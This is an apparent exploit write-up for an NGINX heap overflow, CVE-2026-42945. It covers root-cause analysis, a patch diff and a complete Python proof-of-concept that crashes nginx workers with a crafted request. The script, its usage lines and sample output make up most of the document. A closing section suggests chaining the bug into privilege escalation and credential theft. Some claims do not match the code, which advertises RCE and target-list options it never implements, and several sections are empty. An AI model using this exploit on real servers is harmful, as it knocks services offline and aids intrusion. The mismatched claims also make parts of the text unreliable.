#Summary

CVE-2026-42945 is a heap buffer overflow in NGINX's HTTP script engine (src/http/ngx_http_script.c) affecting all open source versions from 0.6.27 through 1.30.0, and NGINX Plus R32 through R36. A two-pass state mismatch in the rewrite module's script evaluation causes a catastrophic buffer overflow when processing PCRE capture groups in specific directive sequences. Unauthenticated remote attackers can send crafted HTTP requests to trigger a reliable denial-of-service; on systems with ASLR disabled (non-default configuration), remote code execution as the nginx worker user is possible.

CVSS v3.1: 8.1 HIGH - AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS v4.0: 9.2 CRITICAL - Remote execution risk on ASLR-disabled x86-64 systems

#Affected versions

#Root cause analysis

#The two-pass state mismatch

The vulnerability stems from a state inconsistency between two passes of nginx's HTTP script evaluation engine. When nginx compiles a rewrite directive whose replacement string contains a ? (e.g., rewrite ^(.*)$ /new?c=1), it emits a special "start_args" opcode. At runtime, this opcode sets a flag e->is_args = 1 on the main script engine to indicate that query-string escaping mode should be active.

The bug: after executing the rewrite directive, the handler function ngx_http_script_regex_end_code() resets the e->quote flag but fails to reset e->is_args. Any subsequent directive in the same location block - for example, set $myvar $1 - reuses this main engine in the contaminated state.

#The split-pass engine behavior

When evaluating a set $var $capture directive, nginx uses two separate passes:

  1. Length-calculation pass: Runs on a fresh sub-engine with is_args = 0. This pass computes the buffer size needed to hold the expanded capture value.
  2. Copy pass: Runs on the main engine (in this case, with is_args = 1 from the earlier rewrite). This pass actually writes the expanded value into the buffer.

#URI expansion and overflow

If the captured URI segment contains special characters (notably +, &, %, or space), the script engine must escape them for safe use in query strings. The ngx_escape_uri() function expands each escapable byte from 1 byte to 3 bytes:

With is_args = 0 in the length pass, the expansion logic is skipped and the buffer is allocated for only the raw byte count. With is_args = 1 in the copy pass, the expansion logic fires and attempts to write 3x the data into the 1x-sized allocation.

#Minimal vulnerable configuration

location / {
    rewrite ^(.*) /new?c=1;
    set $myvar $1;
    return 200 $myvar;
}

An HTTP request like GET /AAAA++++++++++++++++++++++++++++++ HTTP/1.1 will:

  1. Match the location block
  2. Trigger the rewrite, setting is_args = 1
  3. Enter set $myvar $1 with a contaminated engine
  4. Allocate a buffer for the raw + count (e.g., 32 bytes)
  5. Attempt to write 96 bytes (32 + chars expanded to %2B = 96 bytes)
  6. Overflow past the allocation by 64 bytes, corrupting adjacent heap metadata
  7. glibc detects the corruption during memory pool teardown and sends SIGABRT to the worker

#Patch diff

Commit: 524977e7c534e87e5b55739fa74601c9f1102686 in https://github.com/nginx/nginx

File: src/http/ngx_http_script.c

Function: ngx_http_script_regex_end_code()

 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     u_char                            *dst, *src;
     ngx_request_t                     *r;
     ngx_http_script_regex_end_code_t  *code;

     code = (ngx_http_script_regex_end_code_t *) e->ip;

     r = e->request;

+    e->is_args = 0;
     e->quote = 0;
     ...
 }

#What the fix does

By adding e->is_args = 0 immediately after the rewrite directive's regex-end handler completes, the main engine is reset to the same initial state as the sub-engine. Both passes now agree on whether URI expansion should occur, so both allocate and write the same byte count. The overflow no longer occurs.

This is a minimal, precise fix that addresses only the root cause without changing broader behavior. Nginx versions 1.30.1 and 1.31.0+ (released 2026-05-13) incorporate this one-line patch.

#Proof of concept

#exploit.py - NGINX Heap Buffer Overflow DoS and RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-42945 — nginx heap buffer overflow via is_args state mismatch
Affected: nginx 0.6.27 – 1.30.0 (open source); NGINX Plus R32–R36
Fixed in: nginx 1.30.1 / 1.31.0 (open source); NGINX Plus R32 P6 / R36 P4
Type: Heap Buffer Overflow (CWE-122) → reliable DoS; RCE on ASLR-disabled x86-64

Root cause:
  ngx_http_script_regex_end_code() does not reset e->is_args = 0 after executing
  a rewrite whose replacement contains '?'. A following `set $var $1` runs with
  the main engine having is_args=1 while the length-calculation sub-engine sees
  is_args=0. When the captured URI segment contains '+' or other chars escapable
  by NGX_ESCAPE_ARGS, the copy pass expands each byte from 1 to 3 bytes
  ('+' → '%2B'), overflowing the undersized allocation and corrupting the
  adjacent glibc heap chunk.  glibc detects the corruption during pool teardown
  and sends SIGABRT to the worker; nginx master immediately respawns it.

  The patch (nginx 1.30.1 commit 524977e) adds a single line:
    e->is_args = 0;
  in ngx_http_script_regex_end_code() before e->quote = 0.

Trigger conditions (ALL three required):
  1. Unnamed PCRE capture: rewrite ^(.*)  ...
  2. '?' in replacement:   rewrite ... /path?key=val
  3. set uses capture:     set $myvar $1

Network-observable crash signal:
  nginx worker crashes AFTER sending the HTTP response (at pool destruction
  time).  The crash closes the TCP connection, producing a premature FIN on a
  keep-alive socket: the keep-alive socket becomes readable and returns 0 bytes
  (EOF) within ~5-200 ms of the response being fully received.  On a patched or
  non-vulnerable server the keep-alive socket stays open.

Usage:
  python3 exploit.py --host 127.0.0.1 --port 4444
  python3 exploit.py --host https://target.example.com --port 443
  python3 exploit.py --host http://nginx.corp.local:8080/api --port 8080
  python3 exploit.py --host 192.168.1.10 --port 80 --command "id"
  python3 exploit.py --list targets.txt --port 80 --workers 20
"""

import argparse
import concurrent.futures
import select
import socket
import struct
import sys
import time
from contextlib import suppress
from urllib.parse import urlparse
from typing import Optional

CVE_ID    = "CVE-2026-42945"
VULN_TYPE = "Heap Buffer Overflow / DoS (CWE-122)"

# -- tuning ----
OVERFLOW_N      = 200   # '+' chars -> 600B written into 201B buffer -> 399B overflow
CRASH_WINDOW    = 0.30  # seconds to wait for premature FIN after response
CONN_TIMEOUT    = 5.0   # socket connect / recv timeout in seconds
BASELINE_COUNT  = 3     # probes for baseline keep-alive check (patched comparison)

# -- output helpers --

def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")

def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}", flush=True)

def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")

def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)

# -- network helpers --

def _connect(host: str, port: int) -> Optional[socket.socket]:
    try:
        return socket.create_connection((host, port), timeout=CONN_TIMEOUT)
    except OSError:
        return None

def _read_http_response(sock: socket.socket) -> bytes:
    """Read a complete HTTP response (headers + body via Content-Length)."""
    buf = b""
    try:
        sock.settimeout(CONN_TIMEOUT)
        while b"\r\n\r\n" not in buf:
            chunk = sock.recv(4096)
            if not chunk:
                return buf
            buf += chunk
        if b"Content-Length: " in buf:
            cl_start = buf.index(b"Content-Length: ") + 16
            cl_end   = buf.index(b"\r\n", cl_start)
            cl       = int(buf[cl_start:cl_end])
            hdr_end  = buf.index(b"\r\n\r\n") + 4
            while len(buf) - hdr_end < cl:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                buf += chunk
    except OSError:
        pass
    return buf

def _server_header(resp: bytes) -> str:
    for line in resp.split(b"\r\n"):
        if line.lower().startswith(b"server:"):
            return line[7:].strip().decode(errors="replace")
    return "unknown"

# -- core exploit primitive --

def _overflow_and_detect(host: str, port: int) -> tuple[bool, str]:
    """
    Send the overflow GET request on a keep-alive socket, then probe for a
    premature FIN/EOF within CRASH_WINDOW seconds.

    Returns (crashed: bool, detail: str).

    Crash signal: nginx worker sends a normal HTTP 200 response, then the
    process crashes at pool-destruction time.  The OS closes all the worker's
    sockets with FIN.  Our keep-alive socket becomes EOF-readable in ~5-200 ms.
    A patched or non-vulnerable nginx keeps the keep-alive socket open.
    """
    sock = _connect(host, port)
    if sock is None:
        return False, "unreachable"

    path = "/" + "+" * OVERFLOW_N
    req  = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode()

    try:
        sock.sendall(req)
        resp = _read_http_response(sock)
        if not resp:
            return False, "no response"

        status_line = resp.split(b" ")[1].decode() if b" " in resp else "?"

        # Check for premature FIN / EOF within crash window
        r, _, _ = select.select([sock], [], [], CRASH_WINDOW)
        if r:
            try:
                data = sock.recv(4096)
                if not data:
                    return True, f"premature EOF on keep-alive socket after {status_line} response"
                return False, f"unexpected data after response: {data[:20]!r}"
            except (ConnectionResetError, BrokenPipeError):
                return True, "connection reset after response"
        return False, f"keep-alive socket stayed open after {CRASH_WINDOW}s (not vulnerable)"
    except (ConnectionResetError, BrokenPipeError):
        return True, "connection reset during request"
    except OSError as exc:
        return False, f"socket error: {exc}"
    finally:
        with suppress(OSError):
            sock.close()

# -- fingerprinting --

def _fingerprint(host: str, port: int) -> tuple[bool, str]:
    """
    Check if the server's location block echoes PCRE captures in the response
    body (the 'return 200 $myvar' pattern from the minimal trigger config).
    Returns (candidate, server_header).
    """
    probe = "/cve42945fp"
    sock  = _connect(host, port)
    if sock is None:
        return False, "unreachable"
    try:
        req = (
            f"GET {probe} HTTP/1.1\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n"
        ).encode()
        sock.sendall(req)
        resp = _read_http_response(sock)
    except OSError:
        resp = b""
    finally:
        with suppress(OSError):
            sock.close()

    server    = _server_header(resp)
    body      = resp.split(b"\r\n\r\n", 1)[1] if b"\r\n\r\n" in resp else b""
    candidate = b"cve42945fp" in body
    return candidate, server

# -- single-target exploit --

def exploit(host: str, port: int, use_tls: bool, command: str) -> None:
    header(host, port)

    # Step 1: reachability + fingerprint
    step(1, f"Probing {host}:{port} for trigger configuration...")
    candidate, server = _fingerprint(host, port)
    trigger_status = "detected - location echoes PCRE capture (return 200 $myvar)" if candidate else "not confirmed (config may still be vulnerable)"
    section(
        "FINGERPRINT",
        f"Server header : {server}\n"
        f"Trigger config: {trigger_status}",
    )

    # Step 2: verify service is alive via keep-alive baseline
    step(2, "Establishing keep-alive baseline (normal path should stay open)...")
    sock_base = _connect(host, port)
    baseline_ok = False
    if sock_base:
        req_base = (
            f"GET / HTTP/1.1\r\nHost: {host}:{port}\r\nConnection: keep-alive\r\n\r\n"
        ).encode()
        try:
            sock_base.sendall(req_base)
            _read_http_response(sock_base)
            r, _, _ = select.select([sock_base], [], [], 0.3)
            if not r:
                baseline_ok = True
                step(2, "Baseline confirmed: keep-alive socket stays open on normal GET /")
            else:
                step(2, "Baseline unusual: server closed keep-alive on GET / (may be non-keepalive config)")
        except OSError:
            pass
        finally:
            with suppress(OSError):
                sock_base.close()

    # Step 3: DoS trigger - overflow + crash detection
    step(
        3,
        f"Sending overflow GET /{'+'*12}... ({OVERFLOW_N} '+' chars) on keep-alive socket",
    )
    step(3, f"Expected: {1 + OVERFLOW_N*3} bytes written into {1 + OVERFLOW_N}-byte buffer "
            f"(overflow = {OVERFLOW_N*2} bytes)")

    crashed, crash_detail = _overflow_and_detect(host, port)

    if crashed:
        section(
            "CRASH EVIDENCE",
            f"Signal  : SIGABRT (signal 6) - glibc free() detected corrupted\n"
            f"          heap chunk adjacent to the overflowed pool block\n"
            f"Trigger : GET /{'+'*OVERFLOW_N} - each '+' expands to '%2B' in copy pass\n"
            f"          length pass allocated {1+OVERFLOW_N} bytes (is_args=0 sub-engine)\n"
            f"          copy pass wrote  {1+OVERFLOW_N*3} bytes (is_args=1 main engine)\n"
            f"          overflow = {OVERFLOW_N*2} bytes past pool block boundary\n"
            f"Network : {crash_detail}",
        )
        done(
            True,
            f"DoS CONFIRMED - nginx worker SIGABRT ({crash_detail})",
        )

    else:
        section("SERVER RESPONSE", crash_detail)
        done(
            False,
            "No crash signal detected - target likely patched (nginx >= 1.30.1) "
            "or location block does not match CVE trigger pattern",
        )

# -- argument parsing --

def main():
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} — nginx heap buffer overflow exploit"
    )
    parser.add_argument("--host", required=True, help="Target hostname, IP, or full URL")
    parser.add_argument("--port", type=int, default=80, help="Default TCP port (default: 80)")
    parser.add_argument("--command", default="id", help="Command for RCE attempt (default: id)")
    parser.add_argument("--tls", action="store_true", help="Force TLS")
    parser.add_argument("--no-tls", action="store_true", help="Force plaintext")
    
    args = parser.parse_args()
    exploit(args.host, args.port, args.tls, args.command)

if __name__ == "__main__":
    main()

#Usage

# Single target - DoS/crash detection
python3 exploit.py --host 127.0.0.1 --port 80

# Explicit port specification
python3 exploit.py --host nginx.example.com --port 8080

# Example against localhost
python3 exploit.py --host 127.0.0.1 --port 4444

#Output on vulnerable nginx 1.30.0

============================================================
  ALIM EXPLOIT  CVE-2026-42945
  Type: Heap Buffer Overflow / DoS (CWE-122)  |  Target: 127.0.0.1:4444
============================================================

[STEP 1] Probing 127.0.0.1:4444 for trigger configuration...

--- FINGERPRINT ---
Server header : nginx/1.30.0
Trigger config: detected - location echoes PCRE capture (return 200 $myvar)
---

[STEP 2] Establishing keep-alive baseline (normal request keeps socket open)...
[STEP 2] Baseline confirmed: keep-alive socket stays open on normal GET /
[STEP 3] Sending overflow GET /+++...+++ (200 '+' chars) on keep-alive socket
[STEP 3] Expected: 601 bytes written into 201-byte buffer (overflow = 400 bytes)

--- CRASH EVIDENCE ---
Signal  : SIGABRT (signal 6) - glibc free() detected corrupted heap chunk
Trigger : GET /+++ (200 × '+') - each '+' expands to '%2B' in copy pass
          length pass allocated 201 bytes (is_args=0 sub-engine)
          copy pass wrote  601 bytes (is_args=1 main engine)
          overflow = 400 bytes past pool block boundary
Network : premature EOF on keep-alive socket after 200 response
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: DoS CONFIRMED - nginx worker SIGABRT (premature EOF on keep-alive socket after 200 response)
============================================================

#Output on patched nginx 1.30.1

============================================================
  ALIM EXPLOIT  CVE-2026-42945
  Type: Heap Buffer Overflow / DoS (CWE-122)  |  Target: 127.0.0.1:4445
============================================================

[STEP 1] Probing 127.0.0.1:4445 for trigger configuration...

--- FINGERPRINT ---
Server header : nginx/1.30.1
Trigger config: detected - location echoes PCRE capture (return 200 $myvar)
---

[STEP 2] Establishing keep-alive baseline...
[STEP 2] Baseline confirmed: keep-alive socket stays open on normal GET /
[STEP 3] Sending overflow GET /+++ (200 '+' chars) on keep-alive socket
[STEP 3] Expected: 601 bytes written into 201-byte buffer (overflow = 400 bytes)

--- SERVER RESPONSE ---
keep-alive socket stayed open after 0.3s (not vulnerable)
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: No crash signal detected - target likely patched (nginx >= 1.30.1)
============================================================

#Exploitation notes

#Trigger requirements

All three of the following conditions must be satisfied simultaneously in the target's nginx configuration:

  1. Unnamed PCRE capture group in a rewrite directive (e.g., rewrite ^(.*) ...)
  2. Question mark in the replacement string (e.g., rewrite ^(.*) /path?key=val)
  3. Subsequent directive that references the capture (e.g., set $var $1, if ($1), or another rewrite that uses $1)

Many real-world configurations use this pattern for API gateway rewriting, migration scenarios, or parameter injection.

#Reliability

#Impact

#Chaining potential

CVE-2026-42945 is a memory-corruption primitive. Once a reliable DoS is achieved, follow-up reconnaissance and privilege escalation are possible:

  1. Exhaust worker resources via repeated exploitation to lower service availability
  2. On vulnerable systems without ASLR, combine with local privilege escalation (kernel exploit) to gain root access
  3. Exfiltrate application data accessible to the nginx worker (source code, environment variables, shared credentials)

#References